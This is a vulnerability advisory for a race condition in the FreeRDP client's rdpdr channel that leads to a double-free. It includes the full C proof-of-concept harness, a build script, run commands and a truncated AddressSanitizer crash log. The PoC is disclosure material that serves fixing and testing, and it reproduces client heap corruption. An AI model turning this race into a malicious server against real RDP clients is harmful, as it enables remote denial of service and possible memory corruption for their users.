Concurrent access in FreeRDP rdpdr channel causes double-free
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- High
- Impact type
- —
- Confidentiality · integrity · availability
- None · High · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-jjh5-2wqf-563h. Fix status from GitHub.
Summary
FreeRDP up to and including 3.33.1 is affected. A malicious RDP server can drive concurrent, unsynchronized processing of the rdpdr static channel when UDP multitransport and Soft-Sync are enabled, which leads to a double-free and heap corruption in the client. The confirmed impact is remote denial of service of the client, and code execution has not been established.
Written with Claude Haiku 5.5 from the sources below · 2026-12-04
Description from the GitHub advisory
### Summary A malicious RDP server can trigger concurrent delivery into the FreeRDP client’s rdpdr static-channel handler when UDP multitransport and Soft-Sync are enabled. The server creates a dynamic channel named rdpdr, causing drdynvc to establish a static-channel bridge, while continuing to send data through the original static rdpdr channel. The original channel is processed on the RDP receive thread, while bridged DVC data is processed by the drdynvc worker thread. Both paths call freerdp_channels_data() and concurrently access the same unsynchronized rdpdr reassembly state, including data_in, firstFlagReceived, and totalLength. Concurrent calls to Stream_EnsureRemainingCapacity() can consequently invoke realloc() on the same stream buffer, producing an AddressSanitizer-confirmed double-free and heap corruption. An in-process PoC using the real channel manager, real rdpdr and drdynvc plugins, real DVC parsing, and the real static bridge reproduces the issue. Individual static-only and DVC-only controls complete without sanitizer findings. The confirmed impact is remote client denial of service and heap corruption. Code-execution exploitability has not been established. ### Details ## Details The issue is that the fragment reassembly state of the `rdpdr` static channel can be accessed concurrently by multiple threads without a lock to serialize those accesses. The attack path is enabled under the following conditions: - FreeRDP is built with `WITH_RDPEUDP=ON`. - The client enables multitransport and `SOFTSYNC_TCP_TO_UDP`. - The `rdpdr` and `drdynvc` channels are loaded. - The server creates a Dynamic Virtual Channel named `rdpdr`. When the server creates a DVC with the same name as a static channel, `drdynvc` configures that DVC as a static-channel bridge. Subsequent DVC data follows this path: ```text drdynvc worker thread → dvcman_static_bridge_receive() → dvcman_static_bridge_deliver() → freerdp_channels_data() → rdpdr_virtual_channel_open_event_ex() → rdpdr_virtual_channel_event_data_received() ``` At the same time, data received through the original `rdpdr` static channel is delivered on the RDP main receive thread through the following path: ```text RDP receive/main-loop thread → freerdp_channels_data() → rdpdr_virtual_channel_open_event_ex() → rdpdr_virtual_channel_event_data_received() ``` Once the static bridge is established, client-to-server traffic switches to the DVC, but incoming server-to-client data on the original static channel is not blocked. A malicious server can therefore use both paths concurrently. `freerdp_channels_data()` does not apply any additional serialization or locking when invoking channel callbacks. As a result, two different threads can concurrently enter the same `rdpdrPlugin` instance. `rdpdr_virtual_channel_event_data_received()` uses the following fields as shared reassembly state: ```c rdpdr->firstFlagReceived rdpdr->data_in rdpdr->totalLength ``` These fields are read and modified without locking. In particular, the following code can execute concurrently on the same `wStream`: ```c wStream* data_in = rdpdr->data_in; if (!Stream_EnsureRemainingCapacity(data_in, dataLength)) return ERROR_INVALID_DATA; Stream_Write(data_in, pData, dataLength); ``` If both threads enter `Stream_EnsureRemainingCapacity()` using the same `data_in`, they can both call `realloc()` on the same original buffer. After one thread's `realloc()` frees the original buffer, the other thread calls `realloc()` on the same pointer, causing a double-free. The relevant stack trace observed under ASan is as follows: ```text AddressSanitizer: attempting double-free realloc Stream_ResizeToCapacity Stream_EnsureRemainingCapacity rdpdr_virtual_channel_event_data_received rdpdr_virtual_channel_open_event_ex freerdp_channels_data ``` The call stack for one thread includes the bridged DVC path: ```text drdynvc_virtual_channel_client_thread → drdynvc_order_recv → drdynvc_process_data → dvcman_receive_channel_data → dvcman_static_bridge_receive → dvcman_static_bridge_deliver → freerdp_channels_data → rdpdr_virtual_channel_event_data_received ``` The other thread enters directly through the original `rdpdr` static channel: ```text static RDP channel delivery → freerdp_channels_data → rdpdr_virtual_channel_event_data_received ``` ## PoC Validation The PoC uses the following real FreeRDP components: - The real `rdpChannels` channel manager. - The real `rdpdr` plugin. - The real `drdynvc` plugin and worker thread. - The real DVC `CREATE_REQUEST`, `DATA_FIRST`, and `DATA` parsers. - The real static-channel bridge. - The real `freerdp_channels_data()` dispatch. ### Proof of concept ### 1. rdpdr_drdynvc_race_poc.c ```c #include <stdatomic.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pthread.h> #include <sched.h> #include <winpr/crt.h> #include <winpr/synch.h> #include <winpr/wlog.h> #include <winpr/wtsapi.h> #include <freerdp/addin.h> #include <freerdp/client.h> #include <freerdp/client/channels.h> #include <freerdp/channels/channels.h> #include <freerdp/channels/drdynvc.h> #include <freerdp/channels/rdpdr.h> #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <freerdp/settings_types.h> /* Internal structures are used only to build the synthetic negotiated MCS * channel table and to verify that the real static bridge was published. */ #include "client.h" #include "drdynvc_main.h" #include "mcs.h" #include "rdp.h" #include "rdpdr_main.h" #define RDPDR_STATIC_ID 1004 #define DRDYNVC_STATIC_ID 1005 #define BRIDGE_DVC_ID 7 #define FRAGMENT_SIZE 1024u #define MESSAGE_SIZE (3u * FRAGMENT_SIZE) typedef enum { MODE_RACE, MODE_STATIC_ONLY, MODE_DVC_ONLY } RunMode; static atomic_uint g_staticWrites = 0; static atomic_uint g_createResponses = 0; typedef struct { rdpContext* context; atomic_bool stop; atomic_bool failed; atomic_uint_fast64_t iterations; } StaticProducer; static CHANNEL_OPEN_DATA* find_open_data(rdpChannels* channels, const char* name) { WINPR_ASSERT(channels); WINPR_ASSERT(name); for (int x = 0; x < channels->openDataCount; x++) { CHANNEL_OPEN_DATA* cur = &channels->openDataList[x]; if (strncmp(cur->stats.channelName, name, CHANNEL_NAME_LEN + 1) == 0) return cur; } return NULL; } /* The channel manager still owns and completes every write. This replaces * only the final transport send because the PoC has no socket. */ static BOOL capture_channel_write(freerdp* instance, UINT16 channelId, const BYTE* data, size_t size) { WINPR_UNUSED(instance); atomic_fetch_add_explicit(&g_staticWrites, 1, memory_order_relaxed); if ((channelId == DRDYNVC_STATIC_ID) && data && (size >= 6) && ((data[0] >> 4) == CREATE_REQUEST_PDU) && (data[1] == BRIDGE_DVC_ID)) { const UINT32 status = (UINT32)data[2] | ((UINT32)data[3] << 8) | ((UINT32)data[4] << 16) | ((UINT32)data[5] << 24); if (status == 0) atomic_fetch_add_explicit(&g_createResponses, 1, memory_order_release); } return TRUE; } static BOOL load_static_plugin(rdpContext* context, const char* name) { WINPR_ASSERT(context); WINPR_ASSERT(context->channels); WINPR_ASSERT(name); PVIRTUALCHANNELENTRYEX entry = WINPR_FUNC_PTR_CAST( freerdp_channels_load_static_addin_entry( name, NULL, NULL, FREERDP_ADDIN_CHANNEL_STATIC | FREERDP_ADDIN_CHANNEL_ENTRYEX), PVIRTUALCHANNELENTRYEX); if (!entry) { fprintf(stderr, "could not find built-in %s plugin\n", name); return FALSE; } if (freerdp_channels_client_load_ex(context->channels, context->settings, entry, NULL) != 0) { fprintf(stderr, "could not load %s through rdpChannels\n", name); return FALSE; } return TRUE; } /* freerdp_channels_pre_connect/post_connect are internal symbols and therefore * hidden by a shared-library build. This is their lifecycle dispatch, with * the same callbacks stored by freerdp_channels_client_load_ex(). */ static BOOL channel_lifecycle_start(rdpContext* context) { rdpChannels* channels = context->channels; WINPR_ASSERT(channels); for (int x = 0; x < channels->clientDataCount; x++) { CHANNEL_CLIENT_DATA* client = &channels->clientDataList[x]; if (!client->pChannelInitEventProcEx) return FALSE; client->pChannelInitEventProcEx(client->lpUserParam, client->pInitHandle, CHANNEL_EVENT_INITIALIZED, NULL, 0); } /* VirtualChannelOpenEx requires this before CHANNEL_EVENT_CONNECTED. */ channels->connected = TRUE; for (int x = 0; x < channels->clientDataCount; x++) { CHANNEL_CLIENT_DATA* client = &channels->clientDataList[x]; client->pChannelInitEventProcEx(client->lpUserParam, client->pInitHandle, CHANNEL_EVENT_CONNECTED, NULL, 0); } CHANNEL_OPEN_DATA* rdpdr = find_open_data(channels, RDPDR_SVC_CHANNEL_NAME); CHANNEL_OPEN_DATA* drdynvc = find_open_data(channels, DRDYNVC_SVC_CHANNEL_NAME); return rdpdr && drdynvc && (rdpdr->flags == 2) && (drdynvc->flags == 2) && rdpdr->pChannelOpenEventProcEx && drdynvc->pChannelOpenEventProcEx; } static void channel_lifecycle_stop(rdpContext* context) { rdpChannels* channels = context->channels; if (!channels || !channels->connected) return; /* Match freerdp_channels_disconnect(): complete pending writes while their * owning plugins and stream pools are still alive. */ (void)freerdp_channels_process_pending_messages(context->instance); for (int x = 0; x < channels->clientDataCount; x++) { CHANNEL_CLIENT_DATA* client = &channels->clientDataList[x]; if (client->pChannelInitEventProcEx) client->pChannelInitEventProcEx(client->lpUserParam, client->pInitHandle, CHANNEL_EVENT_DISCONNECTED, NULL, 0); } channels->connected = FALSE; (void)freerdp_channels_process_pending_messages(context->instance); for (int x = 0; x < channels->clientDataCount; x++) { CHANNEL_CLIENT_DATA* client = &channels->clientDataList[x]; if (client->pChannelInitEventProcEx) client->pChannelInitEventProcEx(client->lpUserParam, client->pInitHandle, CHANNEL_EVENT_TERMINATED, NULL, 0); } } static BOOL wait_for_channel_workers(rdpContext* context, UINT32 timeoutMs) { CHANNEL_OPEN_DATA* rdpdrData = find_open_data(context->channels, RDPDR_SVC_CHANNEL_NAME); CHANNEL_OPEN_DATA* drdynvcData = find_open_data(context->channels, DRDYNVC_SVC_CHANNEL_NAME); if (!rdpdrData || !drdynvcData) return FALSE; rdpdrPlugin* rdpdr = (rdpdrPlugin*)rdpdrData->lpUserParam; drdynvcPlugin* drdynvc = (drdynvcPlugin*)drdynvcData->lpUserParam; if (!rdpdr || !drdynvc || !rdpdr->queue || !drdynvc->queue) return FALSE; const UINT64 deadline = GetTickCount64() + timeoutMs; UINT64 emptySince = 0; while (GetTickCount64() < deadline) { (void)freerdp_channels_process_pending_messages(context->instance); const size_t drdynvcPending = MessageQueue_Size(drdynvc->queue); const size_t rdpdrPending = MessageQueue_Size(rdpdr->queue); if ((drdynvcPending == 0) && (rdpdrPending == 0)) { if (emptySince == 0) emptySince = GetTickCount64(); else if ((GetTickCount64() - emptySince) >= 100) return TRUE; } else emptySince = 0; Sleep(1); } return FALSE; } static BOOL install_negotiated_channels(rdpContext* context) { WINPR_ASSERT(context); WINPR_ASSERT(context->rdp); WINPR_ASSERT(context->rdp->mcs); rdpMcs* mcs = context->rdp->mcs; if (!mcs->channels || (mcs->channelMaxCount < 2)) return FALSE; ZeroMemory(mcs->channels, sizeof(rdpMcsChannel) * mcs->channelMaxCount); mcs->channelCount = 2; (void)strncpy(mcs->channels[0].Name, RDPDR_SVC_CHANNEL_NAME, CHANNEL_NAME_LEN); mcs->channels[0].ChannelId = RDPDR_STATIC_ID; mcs->channels[0].joined = TRUE; (void)strncpy(mcs->channels[1].Name, DRDYNVC_SVC_CHANNEL_NAME, CHANNEL_NAME_LEN); mcs->channels[1].ChannelId = DRDYNVC_STATIC_ID; mcs->channels[1].joined = TRUE; return TRUE; } static BOOL deliver_static_pdu(freerdp* instance, UINT16 channelId, const BYTE* data, size_t size) { return freerdp_channels_data(instance, channelId, data, size, CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST, size); } static BOOL create_rdpdr_bridge(rdpContext* context) { BYTE create[2 + sizeof(RDPDR_SVC_CHANNEL_NAME)] = { 0 }; create[0] = (BYTE)(CREATE_REQUEST_PDU << 4); /* one-byte ChannelId */ create[1] = BRIDGE_DVC_ID; CopyMemory(&create[2], RDPDR_SVC_CHANNEL_NAME, sizeof(RDPDR_SVC_CHANNEL_NAME)); if (!deliver_static_pdu(context->instance, DRDYNVC_STATIC_ID, create, sizeof(create))) return FALSE; const UINT64 deadline = GetTickCount64() + 5000; while (GetTickCount64() < deadline) { (void)freerdp_channels_process_pending_messages(context->instance); BOOL published = FALSE; EnterCriticalSection(&context->channels->channelsLock); CHANNEL_OPEN_DATA* rdpdr = find_open_data(context->channels, RDPDR_SVC_CHANNEL_NAME); #if defined(WITH_RDPEUDP) published = rdpdr && (rdpdr->bridge != NULL); #else WINPR_UNUSED(rdpdr); #endif LeaveCriticalSection(&context->channels->channelsLock); if (published && (atomic_load_explicit(&g_createResponses, memory_order_acquire) != 0)) return TRUE; Sleep(1); } return FALSE; } static void make_dvc_pdus(BYTE first[4 + FRAGMENT_SIZE], BYTE middle[2 + FRAGMENT_SIZE], BYTE last[2 + FRAGMENT_SIZE]) { /* DATA_FIRST, one-byte channel id, two-byte total length. */ first[0] = (BYTE)((DATA_FIRST_PDU << 4) | (1u << 2)); first[1] = BRIDGE_DVC_ID; first[2] = (BYTE)(MESSAGE_SIZE & 0xff); first[3] = (BYTE)((MESSAGE_SIZE >> 8) & 0xff); memset(&first[4], 'D', FRAGMENT_SIZE); /* A complete, harmless rdpdr PAKID_CORE_USER_LOGGEDON. Extra bytes are * ignored and, before capability exchange, this packet needs no response. */ first[4] = (BYTE)(RDPDR_CTYP_CORE & 0xff); first[5] = (BYTE)((RDPDR_CTYP_CORE >> 8) & 0xff); first[6] = (BYTE)(PAKID_CORE_USER_LOGGEDON & 0xff); first[7] = (BYTE)((PAKID_CORE_USER_LOGGEDON >> 8) & 0xff); middle[0] = (BYTE)(DATA_PDU << 4); middle[1] = BRIDGE_DVC_ID; memset(&middle[2], 'E', FRAGMENT_SIZE); last[0] = (BYTE)(DATA_PDU << 4); last[1] = BRIDGE_DVC_ID; memset(&last[2], 'F', FRAGMENT_SIZE); } static BOOL send_static_fragment(freerdp* instance, const BYTE* data, UINT32 flags) { return freerdp_channels_data(instance, RDPDR_STATIC_ID, data, FRAGMENT_SIZE, flags, MESSAGE_SIZE); } static BOOL send_dvc_fragment(freerdp* instance, const BYTE* pdu, size_t length) { /* Each DVC PDU is one complete drdynvc static-channel message. The real * drdynvc callback queues it to the real drdynvc worker. */ return deliver_static_pdu(instance, DRDYNVC_STATIC_ID, pdu, length); } static void* static_producer_thread(void* arg) { StaticProducer* producer = (StaticProducer*)arg; BYTE data[FRAGMENT_SIZE]; memset(data, 'S', sizeof(data)); data[0] = (BYTE)(RDPDR_CTYP_CORE & 0xff); data[1] = (BYTE)((RDPDR_CTYP_CORE >> 8) & 0xff); data[2] = (BYTE)(PAKID_CORE_USER_LOGGEDON & 0xff); data[3] = (BYTE)((PAKID_CORE_USER_LOGGEDON >> 8) & 0xff); while (!atomic_load_explicit(&producer->stop, memory_order_acquire)) { if (!send_static_fragment(producer->context->instance, data, CHANNEL_FLAG_FIRST) || !send_static_fragment(producer->context->instance, data, 0) || !send_static_fragment(producer->context->instance, data, CHANNEL_FLAG_LAST)) { atomic_store_explicit(&producer->failed, TRUE, memory_order_release); break; } const uint64_t count = atomic_fetch_add_explicit(&producer->iterations, 1, memory_order_relaxed) + 1; if ((count & 0xffu) == 0) sched_yield(); } return NULL; } static BOOL run_delivery_loop(rdpContext* context, UINT32 seconds, RunMode mode) { BYTE staticData[FRAGMENT_SIZE]; BYTE dvcFirst[4 + FRAGMENT_SIZE]; BYTE dvcMiddle[2 + FRAGMENT_SIZE]; BYTE dvcLast[2 + FRAGMENT_SIZE]; memset(staticData, 'S', sizeof(staticData)); staticData[0] = (BYTE)(RDPDR_CTYP_CORE & 0xff); staticData[1] = (BYTE)((RDPDR_CTYP_CORE >> 8) & 0xff); staticData[2] = (BYTE)(PAKID_CORE_USER_LOGGEDON & 0xff); staticData[3] = (BYTE)((PAKID_CORE_USER_LOGGEDON >> 8) & 0xff); make_dvc_pdus(dvcFirst, dvcMiddle, dvcLast); const BOOL useDvc = mode != MODE_STATIC_ONLY; CHANNEL_OPEN_DATA* drdynvcData = find_open_data(context->channels, DRDYNVC_SVC_CHANNEL_NAME); drdynvcPlugin* drdynvc = drdynvcData ? (drdynvcPlugin*)drdynvcData->lpUserParam : NULL; if (useDvc && (!drdynvc || !drdynvc->queue)) return FALSE; const UINT64 deadline = GetTickCount64() + (UINT64)seconds * 1000u; UINT64 iterations = 0; StaticProducer producer = { .context = context }; pthread_t staticThread = { 0 }; BOOL haveStaticThread = FALSE; /* In the vulnerable configuration these are genuinely different receive * contexts: ordinary static data arrives on the TCP/main-loop thread, while * bridged DVC data is consumed by drdynvc's worker. Keep the feeder of each * path independent so both callbacks can overlap continuously. */ if ((mode == MODE_RACE) && (pthread_create(&staticThread, NULL, static_producer_thread, &producer) != 0)) return FALSE; if (mode == MODE_RACE) haveStaticThread = TRUE; while (GetTickCount64() < deadline) { /* The caller feeds drdynvc while a separate simulated TCP/main-loop thread * supplies ordinary rdpdr data in race mode. */ if (useDvc && !send_dvc_fragment(context->instance, dvcFirst, sizeof(dvcFirst))) goto fail; if ((mode == MODE_STATIC_ONLY) && !send_static_fragment(context->instance, staticData, CHANNEL_FLAG_FIRST)) goto fail; if (useDvc && !send_dvc_fragment(context->instance, dvcMiddle, sizeof(dvcMiddle))) goto fail; if ((mode == MODE_STATIC_ONLY) && !send_static_fragment(context->instance, staticData, 0)) goto fail; if (useDvc && !send_dvc_fragment(context->instance, dvcLast, sizeof(dvcLast))) goto fail; if ((mode == MODE_STATIC_ONLY) && !send_static_fragment(context->instance, staticData, CHANNEL_FLAG_LAST)) goto fail; iterations++; if ((iterations & 0xffu) == 0) { /* Let the drdynvc worker catch up and complete queued writes without * adding an artificial producer thread. */ (void)freerdp_channels_process_pending_messages(context->instance); while (useDvc && (MessageQueue_Size(drdynvc->queue) > 64)) Sleep(1); Sleep(0); } } if (haveStaticThread) { atomic_store_explicit(&producer.stop, TRUE, memory_order_release); (void)pthread_join(staticThread, NULL); if (atomic_load_explicit(&producer.failed, memory_order_acquire)) return FALSE; } fprintf(stderr, "completed %" PRIu64 " DVC/static-loop messages and %" PRIuFAST64 " independent static messages without sanitizer report\n", iterations, atomic_load_explicit(&producer.iterations, memory_order_relaxed)); return TRUE; fail: if (haveStaticThread) { atomic_store_explicit(&producer.stop, TRUE, memory_order_release); (void)pthread_join(staticThread, NULL); } return FALSE; } static BOOL parse_args(int argc, char** argv, UINT32* seconds, RunMode* mode) { *seconds = 15; *mode = MODE_RACE; if (argc > 1) { char* end = NULL; const unsigned long value = strtoul(argv[1], &end, 10); if (!end || (*end != '\0') || (value == 0) || (value > 3600)) return FALSE; *seconds = (UINT32)value; } if (argc > 2) { if (strcmp(argv[2], "race") == 0) *mode = MODE_RACE; else if (strcmp(argv[2], "static-only") == 0) *mode = MODE_STATIC_ONLY; else if (strcmp(argv[2], "dvc-only") == 0) *mode = MODE_DVC_ONLY; else return FALSE; } return argc <= 3; } int main(int argc, char** argv) { UINT32 seconds = 0; RunMode mode = MODE_RACE; int rc = EXIT_FAILURE; BOOL started = FALSE; if (!parse_args(argc, argv, &seconds, &mode)) { fprintf(stderr, "usage: %s [seconds:1..3600] [race|static-only|dvc-only]\n", argv[0]); return EXIT_FAILURE; } (void)WLog_SetLogLevel(WLog_GetRoot(), WLOG_FATAL); RDP_CLIENT_ENTRY_POINTS entry = WINPR_C_ARRAY_INIT; entry.Version = RDP_CLIENT_INTERFACE_VERSION; entry.Size = sizeof(RDP_CLIENT_ENTRY_POINTS_V1); entry.ContextSize = sizeof(rdpClientContext); rdpContext* context = freerdp_client_context_new(&entry); if (!context) { fprintf(stderr, "freerdp_client_context_new failed\n"); return EXIT_FAILURE; } if (!freerdp_settings_set_bool(context->settings, FreeRDP_SupportMultitransport, TRUE) || !freerdp_settings_set_uint32(context->settings, FreeRDP_MultitransportFlags, SOFTSYNC_TCP_TO_UDP) || !freerdp_settings_set_bool(context->settings, FreeRDP_SynchronousDynamicChannels, FALSE) || !freerdp_settings_set_bool(context->settings, FreeRDP_SynchronousStaticChannels, FALSE)) { fprintf(stderr, "could not configure multitransport/channel threading\n"); goto out; } context->instance->SendChannelData = capture_channel_write; if (!load_static_plugin(context, RDPDR_SVC_CHANNEL_NAME) || !load_static_plugin(context, DRDYNVC_SVC_CHANNEL_NAME) || !install_negotiated_channels(context) || !channel_lifecycle_start(context)) { fprintf(stderr, "channel-manager setup failed\n"); goto out; } started = TRUE; if (!create_rdpdr_bridge(context)) { fprintf(stderr, "real drdynvc static bridge was not created/published\n"); goto out; } fprintf(stderr, "loaded real rdpdr+drdynvc; DVC %u -> static rdpdr bridge " "published; mode=%s, %u s\n", BRIDGE_DVC_ID, mode == MODE_RACE ? "race" : (mode == MODE_STATIC_ONLY ? "static-only" : "dvc-only"), seconds); if (!run_delivery_loop(context, seconds, mode)) { fprintf(stderr, "channel delivery failed\n"); goto out; } if (!wait_for_channel_workers(context, 10000)) { fprintf(stderr, "channel worker queues did not drain\n"); goto out; } rc = EXIT_SUCCESS; out: if (started) channel_lifecycle_stop(context); freerdp_client_context_free(context); return rc; } ``` ### 2. build-rdpdr-drdynvc-poc.sh ```bash #!/usr/bin/env bash set -euo pipefail poc_dir=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) source_dir=${FREERDP_SOURCE_DIR:-/mnt/e/researchlab/free-rdp} build_dir=${FREERDP_ASAN_BUILD_DIR:-"$poc_dir/build"} compiler=${FREERDP_POC_CC:-clang} output=${FREERDP_POC_OUTPUT:-"$poc_dir/rdpdr_drdynvc_race_poc"} if [[ ! -f "$build_dir/CMakeCache.txt" ]]; then printf 'ASan FreeRDP build not found: %s\n' "$build_dir" >&2 printf 'Configure FreeRDP there with WITH_RDPEUDP=ON and -fsanitize=address first.\n' >&2 exit 1 fi include_flags=( "-I$build_dir/include" "-I$build_dir/winpr/include" "-I$source_dir/include" "-I$source_dir/winpr/include" "-I$source_dir/libfreerdp/core" "-I$source_dir/channels/drdynvc/client" "-I$source_dir/channels/rdpdr/client" ) library_flags=( "-L$build_dir/client/common" -lfreerdp-client3 "-L$build_dir/libfreerdp" -lfreerdp3 "-L$build_dir/winpr/libwinpr" -lwinpr3 -lpthread "-Wl,-rpath,$build_dir/client/common:$build_dir/libfreerdp:$build_dir/winpr/libwinpr" ) "$compiler" \ -std=gnu11 \ -O1 \ -g \ -fsanitize=address \ -fno-omit-frame-pointer \ -Wall \ -Wextra \ "${include_flags[@]}" \ "$poc_dir/rdpdr_drdynvc_race_poc.c" \ -o "$output" \ "${library_flags[@]}" printf 'built %s\n' "$output" printf 'race: ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 %q 15 race\n' "$output" printf 'controls: ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 %q 2 static-only\n' "$output" printf ' ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 %q 2 dvc-only\n' "$output" ``` ### 3. Execution ```bash chmod +x build-rdpdr-drdynvc-poc.sh ./build-rdpdr-drdynvc-poc.sh ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \ ./rdpdr_drdynvc_race_poc 2 static-only ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \ ./rdpdr_drdynvc_race_poc 2 dvc-only ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \ ./rdpdr_drdynvc_race_poc 15 race ``` Since this is a race condition, repeat the test if it does not trigger on the first attempt: ```bash for attempt in $(seq 1 10); do echo "attempt $attempt" ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \ ./rdpdr_drdynvc_race_poc 15 race && continue break done ``` ### 4. ASan Crash Log ```text loaded real rdpdr+drdynvc; DVC 7 -> static rdpdr bridge published; mode=race, 15 s ================================================================= ==281826==ERROR: AddressSanitizer: attempting double-free on 0x72321ca21080 in thread T3: #0 0x606a63c15b10 in realloc (/tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc+0xd4b10) (BuildId: 3cbe79df53385c7414f3eb1832222188e8778f53) #1 0x746220d64cce in Stream_ResizeToCapacity /mnt/e/researchlab/free-rdp/winpr/libwinpr/utils/stream.c:62:20 #2 0x746221896975 in rdpdr_virtual_channel_event_data_received /mnt/e/researchlab/free-rdp/channels/rdpdr/client/rdpdr_main.c:2068:7 #3 0x746221896975 in rdpdr_virtual_channel_open_event_ex /mnt/e/researchlab/free-rdp/channels/rdpdr/client/rdpdr_main.c:2136:17 #4 0x746221383792 in freerdp_channels_data /mnt/e/researchlab/free-rdp/libfreerdp/core/client.c:702:3 #5 0x74622187e778 in dvcman_static_bridge_deliver /mnt/e/researchlab/free-rdp/channels/drdynvc/client/drdynvc_main.c:945:23 #6 0x74622187e778 in dvcman_static_bridge_receive /mnt/e/researchlab/free-rdp/channels/drdynvc/client/drdynvc_main.c:1001:2 #7 0x74622187e778 in dvcman_receive_channel_data /mnt/e/researchlab/free-rdp/channels/drdynvc/client/drdynvc_main.c:1335:10 #8 0x746221878e0c in drdynvc_process_data /mnt/e/researchlab/free-rdp/channels/drdynvc/client/drdynvc_main.c:2052:11 #9 0x746221878e0c in drdynvc_order_recv /mnt/e/researchlab/free-rdp/channels/drdynvc/client/drdynvc_main.c:2482:11 #10 0x746221876798 in drdynvc_virtual_channel_client_thread /mnt/e/researchlab/free-rdp/channels/drdynvc/client/drdynvc_main.c:2685:17 #11 0x746220da9781 in thread_launcher /mnt/e/researchlab/free-rdp/winpr/libwinpr/thread/thread.c:540:7 #12 0x606a63c12f1a in asan_thread_start(void*) asan_interceptors.cpp.o #13 0x74622089cb83 in start_thread nptl/pthread_create.c:447:8 #14 0x746220929ecb in clone3 misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:78 0x72321ca21080 is located 0 bytes inside of 2176-byte region [0x72321ca21080,0x72321ca21900) freed by thread T4 here: #0 0x606a63c15b10 in realloc (/tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc+0xd4b10) (BuildId: 3cbe79df53385c7414f3eb1832222188e8778f53) #1 0x746220d64cce in Stream_ResizeToCapacity /mnt/e/researchlab/free-rdp/winpr/libwinpr/utils/stream.c:62:20 #2 0x746221896975 in rdpdr_virtual_channel_event_data_received /mnt/e/researchlab/free-rdp/channels/rdpdr/client/rdpdr_main.c:2068:7 #3 0x746221896975 in rdpdr_virtual_channel_open_event_ex /mnt/e/researchlab/free-rdp/channels/rdpdr/client/rdpdr_main.c:2136:17 #4 0x746221383792 in freerdp_channels_data /mnt/e/researchlab/free-rdp/libfreerdp/core/client.c:702:3 #5 0x606a63c5bcf7 in send_static_fragment /tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc.c:314:9 #6 0x606a63c5bcf7 in static_producer_thread /tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc.c:339:8 #7 0x606a63c12f1a in asan_thread_start(void*) asan_interceptors.cpp.o previously allocated by thread T4 here: #0 0x606a63c15b10 in realloc (/tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc+0xd4b10) (BuildId: 3cbe79df53385c7414f3eb1832222188e8778f53) #1 0x746220d64cce in Stream_ResizeToCapacity /mnt/e/researchlab/free-rdp/winpr/libwinpr/utils/stream.c:62:20 #2 0x746221896975 in rdpdr_virtual_channel_event_data_received /mnt/e/researchlab/free-rdp/channels/rdpdr/client/rdpdr_main.c:2068:7 #3 0x746221896975 in rdpdr_virtual_channel_open_event_ex /mnt/e/researchlab/free-rdp/channels/rdpdr/client/rdpdr_main.c:2136:17 #4 0x746221383792 in freerdp_channels_data /mnt/e/researchlab/free-rdp/libfreerdp/core/client.c:702:3 #5 0x606a63c5bca6 in send_static_fragment /tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc.c:314:9 #6 0x606a63c5bca6 in static_producer_thread /tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc.c:338:8 #7 0x606a63c12f1a in asan_thread_start(void*) asan_interceptors.cpp.o Thread T3 created by T0 here: #0 0x606a63bf8aa5 in pthread_create (/tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc+0xb7aa5) (BuildId: 3cbe79df53385c7414f3eb1832222188e8778f53) #1 0x746220da7a31 in winpr_StartThread /mnt/e/researchlab/free-rdp/winpr/libwinpr/thread/thread.c:588:6 #2 0x746220da73d8 in CreateThread /mnt/e/researchlab/free-rdp/winpr/libwinpr/thread/thread.c:728:8 #3 0x746221872e0d in drdynvc_virtual_channel_event_connected /mnt/e/researchlab/free-rdp/channels/drdynvc/client/drdynvc_main.c:2923:27 #4 0x746221872e0d in drdynvc_virtual_channel_init_event_ex /mnt/e/researchlab/free-rdp/channels/drdynvc/client/drdynvc_main.c:3147:17 #5 0x606a63c5a9f9 in channel_lifecycle_start /tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc.c:153:3 #6 0x606a63c5a06f in main /tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc.c:510:48 #7 0x74622082a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #8 0x74622082a28a in __libc_start_main csu/../csu/libc-start.c:360:3 #9 0x606a63b6f474 in _start (/tmp/claude-1001/-mnt-e-researchlab-free-rdp/6a1063c3-0c25-43e2-8aa2-52c5a386549d/scratchpad/race/rdpdr_drdynvc_race_poc+0x2e474) (BuildId: 